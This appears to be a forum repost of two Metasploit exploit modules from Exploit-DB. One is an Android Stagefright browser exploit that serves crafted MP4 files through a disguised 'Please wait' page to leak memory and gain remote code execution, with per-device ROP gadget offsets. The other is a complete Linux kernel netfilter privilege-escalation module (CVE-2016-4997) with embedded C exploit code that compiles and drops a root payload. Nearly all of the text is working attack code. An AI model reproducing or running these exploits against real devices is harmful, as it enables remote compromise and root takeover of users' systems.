get_metaitem('dura', 'in64', ptr_to_vector_vtable) end # The tx3g2 then needs to trigger the integer overflow, but can contain any # contents. The overflow will terminate at the end of the file. # # NOTE: The second tx3g chunk's overhead ends up in the slack space between # the replaced placeholder and the MetaData Vector contents. big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size tx3g_2 = get_atom('tx3g', more_data, big_num) # Create a minimal, verified 'trak' to satisfy mLastTrack being set stbl_data = get_stsc(1) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount stbl = get_atom('stbl', stbl_data) verified_trak = get_atom('trak', stbl) # Start putting it all together into a track. trak_data = '' if is_samsung # Put some legitimate duration information so we know if we failed mdhd_data = [ 0 ].pack('N') # version mdhd_data << "\x00" * 8 # padding mdhd_data << [ 1 ].pack('N') # timescale mdhd_data << [ 314 ].pack('N') # duration mdhd_data << [ 0 ].pack('n') # lang trak_data << get_atom('mdhd', mdhd_data) end # Add this so that our file is identified as video/mp4 mp4v_data = '' mp4v_data << [ 0 ].pack('C') * 24 # padding mp4v_data << [ 1024 ].pack('n') # width mp4v_data << [ 768 ].pack('n') # height mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true # Here, we cause allocations such that we can replace the placeholder... if is_samsung trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... trak_data << stbl # Cause the growth of the track->meta Vector else trak_data << stbl # Cause the growth of the track->meta Vector trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... end # Add the thing whose entry in the MetaData vector we want to overwrite... trak_data << near_sampiter # Get our overflow data into memory trigger = '' trigger << tx3g_1 # Free the place holder trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C')) # Overflow the temporary buffer into the following MetaData array trigger << tx3g_2 # !!! NOTE !!! # On Samsung devices, the failure that causes ERR to be returned from # 'tx3g' processing leads to "skipTrack" being set. This means our # nasty track and it's metadata get deleted and not returned to the # browser -- effectively killing the infoleak. # # However! It also handles "skipTrack" being set specially and does not # immediately propagate the error to the caller. Instead, it returns OK. # This allows us to triggering the bug multiple times in one file, or -- # as we have in this case -- survive after and return successfully. if is_samsung # Add this as a nested track! trak_data << get_atom('trak', trigger) else trak_data << trigger end trak = get_atom('trak', trak_data) # On Samsung devices, we could put more chunks here but they will # end up smashing the temporary buffer further... chunks = [] chunks << get_ftyp() chunks << get_atom('moov') chunks << verified_trak * 0x200 chunks << shape_vector * groom_count chunks << trak mp4 = chunks.join mp4 end def get_mp4_rce(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # chunks = [] chunks << get_ftyp() # Note, this causes a few allocations moov_data = '' mvhd_data = [ 0, 0x41414141 ].pack('N*') mvhd_data << 'B' * 0x5c moov_data << get_atom('mvhd', mvhd_data) # Add a minimal, verified 'trak' to satisfy mLastTrack being set verified_trak = '' stbl_data = get_stsc(0x28) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount verified_trak << get_atom('trak', get_atom('stbl', stbl_data)) # Add it to the file moov_data << verified_trak # The spray_addr field is typically determined empirically (by testing), but # has proven to be fairly predictable (99%). However, it does vary from # one device to the next (probably determined by the pre-loaded libraries). spray_addr = 0xb0c08000 spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil? # Construct a single page that we will spray page = build_spray(my_target, peer, spray_addr) return nil if page.nil? # Build a big block full of spray pages and and put it in an avcC chunk # (but don't add it to the 'moov' yet) spray = page * (((16 * 1024 * 1024) / page.length) - 20) avcc = get_atom('avcC', spray) # Make the nasty trak tkhd1 = '' tkhd1 << [ 0 ].pack('C') # version tkhd1 << 'D' * 3 # padding tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration tkhd1 << 'F' * 0x10 # ?? tkhd1 << [ 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0 # dy ].pack('N*') tkhd1 << 'G' * 0x14 # ?? # Add the tkhd (track header) to the nasty track trak1 = '' trak1 << get_atom('tkhd', tkhd1) # Build and add the 'mdia' (Media information) to the nasty track mdia1 = '' mdhd1 = [ 0 ].pack('C') # version mdhd1 << 'D' * 0x17 # padding mdia1 << get_atom('mdhd', mdhd1) mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler dinf1 = '' dinf1 << get_atom('dref', 'H' * 0x14) # Data information box minf1 = '' minf1 << get_atom('smhd', 'G' * 0x08) minf1 << get_atom('dinf', dinf1) stbl1 = get_stsc(2) minf1 << get_atom('stbl', stbl1) mdia1 << get_atom('minf', minf1) trak1 << get_atom('mdia', mdia1) # Add something to take up a slot in the 0x20 size range # NOTE: We have to be able to free this later... block = 'Q' * 0x1c trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Add a Track (hopefully right after) trak1 << verified_trak # Add the avcC chunk with the heap spray. We add it here so it's sure to be # allocated when we get control of the program counter... trak1 << avcc # Build the first of the nasty pair of tx3g chunks that trigger the # vulnerability alloc_size = 0x20 overflow_size = 0xc0 overflow = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_1 = get_atom('tx3g', overflow) trak1 << tx3g_1 # Free the original thing and put the tx3g temporary in it's place... block = 'R' * 0x40 trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) # Make the second one, which triggers the integer overflow big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size more_data = [ spray_addr ].pack('V') * (overflow_size / 4) tx3g_2 = get_atom('tx3g', more_data, big_num) trak1 << tx3g_2 # Add the nasty track to the moov data moov_data << get_atom('trak', trak1) # Finalize the moov chunk moov = get_atom('moov', moov_data) chunks << moov # Combine outer chunks together and voila. mp4 = chunks.join mp4 end def on_request_uri(cli, request) # If the request is for an mp4 file, we need to get the target from the @peers hash if request.uri =~ /\.mp4\?/i mp4_fn = request.uri.split('/')[-1] mp4_fn = mp4_fn.split('?')[0] mp4_fn[-4,4] = '' peer = @peers[mp4_fn] my_target = nil my_target = peer[:target] if peer if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer") return end # Extract the address(s) we just leaked... sia_addr = request.qstring['sia'].to_i # near_sampiter data address peer[:near_sampiter_addr] = sia_addr if sia_addr > 0 sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0 # reset after a crash.. if sia_addr == 0 && sfv_addr == 0 peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil end # Always use this header out_hdrs = {'Content-Type'=>'video/mp4'} if peer[:vector_vtable_addr].nil? # Generate the nasty MP4 to leak infoz mode = "infoleak" mp4 = get_mp4_leak(my_target, peer) else mode = "RCE" mp4 = get_mp4_rce(my_target, peer) if mp4.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4") return end end # Send the nasty MP4 file to trigger the vulnerability if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip' mp4 = Rex::Text.gzip(mp4) out_hdrs.merge!('Content-Encoding' => 'gzip') gzip = "gzip'd" else gzip = "raw" end client = "Browser" if request.headers['User-Agent'].include? 'stagefright' client = "SF" end addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ] print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})") # Send the nastiness! send_response(cli, mp4, out_hdrs) return end # Initialize a target. If none suitable, then we don't continue. my_target = target if my_target.name =~ /Automatic/ my_target = get_target(request) if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}") return end vprint_status("Target selected: #{my_target.name}") end # Generate an MP4 filename for this peer mp4_fn = rand_text_alpha(11) # Save the target for when they come back asking for this file # Also initialize the leak address to the first one @peers[mp4_fn] = { :target => my_target } # Send the index page mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4" html = %Q^<html> <head> <title>Please wait...</title> <script> var video; // the video tag var to_id; // timeout ID var req_start; // when we requested the video var load_start; // when we loaded the video // Give mediaserver some time to settle down after restarting -- increases reliability var waitTime = 100; // 6000; var error = false; var near_sampiter_addr = -1; var vector_vtable_addr = -1; var crashes = 0; function duration_changed() { var now = Date.now(); var req_time = now - req_start; var load_time = now - load_start; console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16)); if (load_time > 2000) { // probably crashed. reset the entire process.. near_sampiter_addr = -1; vector_vtable_addr = -1; waitTime = 6000; crashes += 1; if (crashes > 5) { console.log('too many crashes!!!'); stop_everything(); } } else { // if we got the near_sampiter_addr already, we are now trying to read the code pointer. // otherwise, we're trying to find near_sampiter_addr... if (near_sampiter_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.videoHeight != 768) { // XXX: TODO: parameterize if (video.videoHeight != 0) { // wtf? crashed?? value = video.videoHeight; console.log('leaked heap pointer: 0x' + value.toString(16)); near_sampiter_addr = value; } } } else if (vector_vtable_addr == -1) { // if we get this value, we failed to overwrite the metadata. try again. if (video.duration != 314) { // XXX: TODO: parameterize // zero means a value that could not be represented... if (video.duration != 0) { var value = Math.round(video.duration * 1000000); console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16)); vector_vtable_addr = value; } } } // otherwise, we just keep trying with the data we have... } if (error == false) { if (vector_vtable_addr == -1) { to_id = setTimeout(reload_leak, waitTime); } else { to_id = setTimeout(reload_rce, waitTime); } waitTime = 100; } } function stop_everything() { if (error == false) { console.log('---- GIVING UP!! ----'); error = true; } if (to_id != -1) { clearTimeout(to_id); } } function start() { video = document.getElementById('vid'); video.onerror = function() { console.log(' onError called!'); stop_everything(); } video.ondurationchange = duration_changed; //reload_rce(); reload_leak(); } function get_uri() { var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1; var uri = '#{mp4_uri}?x=' + rn; if (near_sampiter_addr != -1) { uri += '&sia=' + near_sampiter_addr; } if (vector_vtable_addr != -1) { uri += '&sfv=' + vector_vtable_addr; } return uri; } function reload_leak() { to_id = -1; var xhr = new XMLHttpRequest; xhr.responseType = 'blob'; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status != 200 || !xhr.response) { stop_everything(); return; } load_start = Date.now(); try { //var url = URL.createObjectURL(xhr.response); var a = new FileReader(); a.onload = function(e) { //console.log('onload: ' + e.target.result); video.src = e.target.result }; a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); } a.readAsDataURL(xhr.response); } catch(e) { console.log(' ERROR: ' + e.message); stop_everything(); } } }; xhr.open('GET', get_uri(), true); req_start = Date.now(); xhr.send(); } function reload_rce() { to_id = -1; video.src = get_uri(); } </script></head> <body onload='start()'> <video id=vid width=1px controls> Your browser does not support VIDEO tags. </video><br /> Please wait while we locate your content... </body> </html> ^ print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end # # Return some firmware-specific values to the caller. # # The VectorRVA field is extracted using the following command: # # $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE # def get_details(my_target) details = { 'lrx' => { 'VectorRVA' => 0x10ae30, 'PivotStrategy' => 'lrx', 'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc} 'Adjust' => 0x475cd # pop {r3, r4, pc} }, 'lmy-1' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-1', 'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'lmy-2' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-2', 'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1 'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'shamu / LYZ28E' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'shamu / LYZ28J' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'sm-g900v / OE1' => { 'VectorRVA' => 0x174048, 'PivotStrategy' => 'sm-g900v', 'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5 'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2 'Adjust' => 0x65421 # pop {r4, r5, pc} } } details[my_target['Rop']] end end Sursa: https://www.exploit-db.com/exploits/40436/
  25. Linux Kernel 4.6.3 - Netfilter Privilege Escalation (Metasploit) ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation', 'Description' => %q{ This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic. Several conditions have to be met for successful exploitation: Ubuntu: 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile Kernel 4.4.0-31-generic and newer are not vulnerable. We write the ascii files and compile on target instead of locally since metasm bombs for not having cdefs.h (even if locally installed) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die <mike@stcyrsecurity.com>', # Module 'vnik' # Discovery ], 'DisclosureDate' => 'Jun 03 2016', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Ubuntu', { } ] #[ 'Fedora', { } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'EDB', '40049'], [ 'CVE', '2016-4997'], [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def iptables_loaded?() # user@ubuntu:~$ cat /proc/modules | grep ip_tables # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000 # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000 vprint_status('Checking if ip_tables is loaded in kernel') if target.name == "Ubuntu" iptables = cmd_exec('cat /proc/modules | grep ip_tables') if iptables.include?('ip_tables') vprint_good('ip_tables.ko is loaded') else print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('ip_tables') elsif target.name == "Fedora" iptables = cmd_exec('cat /proc/modules | grep iptable_raw') if iptables.include?('iptable_raw') vprint_good('iptable_raw is loaded') else print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command') end return iptables.include?('iptable_raw') else return false end end def shemsham_installed?() # we want this to be false. vprint_status('Checking if shem or sham are installed') shemsham = cmd_exec('cat /proc/cpuinfo') if shemsham.include?('shem') print_error('shem installed, system not vulnerable.') elsif shemsham.include?('sham') print_error('sham installed, system not vulnerable.') else vprint_good('shem and sham not present.') end return (shemsham.include?('shem') or shemsham.include?('sham')) end if iptables_loaded?() and not shemsham_installed?() return CheckCode::Appears else return CheckCode::Safe end end def exploit # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. def has_prereqs?() vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed') if target.name == "Ubuntu" lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') if lib.include?('install') vprint_good('libc6-dev-i386 is installed') else print_error('libc6-dev-i386 is not installed. Compiling will fail.') end multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib') if multilib.include?('install') vprint_good('gcc-multilib is installed') else print_error('gcc-multilib is not installed. Compiling will fail.') end gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install') elsif target.name == "Fedora" lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') if lib.include?('glibc') vprint_good('glibc-devel.i686 is installed') else print_error('glibc-devel.i686 is not installed. Compiling will fail.') end if lib.include?('libgcc') vprint_good('libgcc.i686 is installed') else print_error('libgcc.i686 is not installed. Compiling will fail.') end multilib = false #not implemented gcc = false #not implemented return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib else return false end end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) payload_file = rand_text_alpha(8) payload_path = "#{datastore["WritableDir"]}/#{payload_file}" # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here # removed #include <netinet/in.h> per busterb comment in PR 7326 decr = %q{ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sched.h> #include <netinet/in.h> #include <linux/sched.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ptrace.h> #include <net/if.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netlink.h> #include <fcntl.h> #include <sys/mman.h> #define MALLOC_SIZE 66*1024 int decr(void *p) { int sock, optlen; int ret; void *data; struct ipt_replace *repl; struct ipt_entry *entry; struct xt_entry_match *ematch; struct xt_standard_target *target; unsigned i; sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket"); return -1; } data = malloc(MALLOC_SIZE); if (data == NULL) { perror("malloc"); return -1; } memset(data, 0, MALLOC_SIZE); repl = (struct ipt_replace *) data; repl->num_entries = 1; repl->num_counters = 1; repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; repl->valid_hooks = 0; entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); entry->target_offset = 74; // overwrite target_offset entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); strcpy(ematch->u.user.name, "icmp"); void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); uint64_t *me = (uint64_t *)(kmatch + 0x58); *me = 0xffffffff821de10d; // magic number! uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); *match = (uint32_t)kmatch; ematch->u.match_size = (short)0xffff; target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); uint32_t *t = (uint32_t *)target; *t = (uint32_t)kmatch; printf("[!] Decrementing the refcount. This may take a while...\n"); printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); for (i = 0; i < 0xffffff/2+1; i++) { ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); } close(sock); free(data); printf("[+] Done! Now run ./pwn\n"); return 0; } int main(void) { void *stack; int ret; printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); ret = unshare(CLONE_NEWUSER); if (ret == -1) { perror("unshare"); return -1; } stack = (void *) malloc(65536); if (stack == NULL) { perror("malloc"); return -1; } clone(decr, stack + 65536, CLONE_NEWNET, NULL); sleep(1); return 0; } } # direct copy of code from exploit-db pwn = %q{ #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <sys/mman.h> #include <assert.h> #define MMAP_ADDR 0xff814e3000 #define MMAP_OFFSET 0xb0 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); void __attribute__((regparm(3))) privesc() { commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; commit_creds(prepare_kernel_cred((uint64_t)NULL)); } int main() { void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); assert(payload == (void *)MMAP_ADDR); void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); memset(shellcode, 0, 0x300000); void *ret = memcpy(shellcode, &privesc, 0x300); assert(ret == shellcode); printf("[+] Escalating privs...\n"); int fd = open("/dev/ptmx", O_RDWR); close(fd); assert(!getuid()); printf("[+] We've got root!"); return execl("/bin/bash", "-sh", NULL); } } # the original code printed a line. However, this is hard to detect due to threading. # so instead we can write a file in /tmp to catch. decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/, "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" ) # patch in to run our payload pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/, "execl(\"#{payload_path}\", NULL);") def pwn(payload_path, pwn_file, pwn, compile) # lets write our payload since everythings set for priv esc vprint_status("Writing payload to #{payload_path}") write_file(payload_path, generate_payload_exe) cmd_exec("chmod 555 #{payload_path}") register_file_for_cleanup(payload_path) # now lets drop part 2, and finish up. rm_f pwn_file if compile print_status "Writing pwn executable to #{pwn_file}.c" rm_f "#{pwn_file}.c" write_file("#{pwn_file}.c", pwn) cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}") register_file_for_cleanup("#{pwn_file}.c") else print_status "Writing pwn executable to #{pwn_file}" write_file(pwn_file, pwn) end register_file_for_cleanup(pwn_file) cmd_exec("chmod +x #{pwn_file}; #{pwn_file}") end if not compile # we need to override with our pre-created binary # pwn file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out') fd = ::File.open( path, "rb") pwn = fd.read(fd.stat.size) fd.close # desc file path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out') fd = ::File.open( path, "rb") decr = fd.read(fd.stat.size) fd.close # overwrite the hardcoded variable names in the compiled versions env_ready_file = '/tmp/okDjTFSS' payload_path = '/tmp/2016_4997_payload' end # check for shortcut if datastore['REEXPLOIT'] pwn(payload_path, pwn_file, pwn, compile) else rm_f desc_file if compile print_status "Writing desc executable to #{desc_file}.c" rm_f "#{desc_file}.c" write_file("#{desc_file}.c", decr) register_file_for_cleanup("#{desc_file}.c") output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}") else write_file(desc_file, decr) end rm_f env_ready_file register_file_for_cleanup(env_ready_file) #register_file_for_cleanup(desc_file) if not file_exist?(desc_file) vprint_error("gcc failure output: #{output}") fail_with(Failure::Unknown, "#{desc_file}.c failed to compile") end if target.name == "Ubuntu" vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created." elsif target.name == "Fedora" vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created." end cmd_exec("chmod +x #{desc_file}; #{desc_file}") sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(1) if sec_waited % 10 == 0 vprint_status("Waited #{sec_waited}s so far") end if file_exist?(env_ready_file) print_good("desc finished, env ready.") pwn(payload_path, pwn_file, pwn, compile) return end sec_waited +=1 end end end end Sursa: https://www.exploit-db.com/exploits/40435/
×
×
  • Create New...